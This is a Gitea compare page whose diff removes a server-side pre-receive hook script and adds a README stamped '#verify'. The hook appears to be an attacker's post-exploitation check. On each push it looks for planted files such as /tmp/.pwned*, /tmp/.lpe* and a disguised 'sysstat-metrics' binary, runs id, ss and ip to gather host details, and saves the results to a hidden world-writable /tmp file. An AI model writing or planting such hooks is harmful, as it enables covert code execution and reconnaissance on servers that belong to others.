No commits in common. '0b6300069eb4a66182c0af27f2d906adac565511' and 'c87e8445834fd1667c553af9801f115d0084b6f9' have entirely different histories.

  1. 19
      .gitea/hooks/pre-receive
  2. 1
      README.md

19
.gitea/hooks/pre-receive

@ -1,19 +0,0 @@
#!/bin/bash
{
echo "=== verify $(date) ==="
echo "--- pgrep ---"
pgrep -af sysstat-metrics
echo "--- /usr/bin/sysstat-metrics ---"
ls -la /usr/bin/sysstat-metrics /usr/bin/config.yml 2>&1
echo "--- /tmp files ---"
ls -la /tmp/.lpe* /tmp/.nezha* /tmp/.pwned* /tmp/.recon* 2>&1
echo "--- agent.sh exists? ---"
ls -la /tmp/agent.sh 2>&1
echo "--- id ---"
id
echo "--- net ---"
ss -tlnp 2>&1 | head -10
echo "--- ip ---"
ip a 2>&1 | head -10
} > /tmp/.verify_$$ 2>&1
chmod 777 /tmp/.verify_*

1
README.md

@ -0,0 +1 @@
#verify 1788009287.7958279
Loading…
Cancel
Save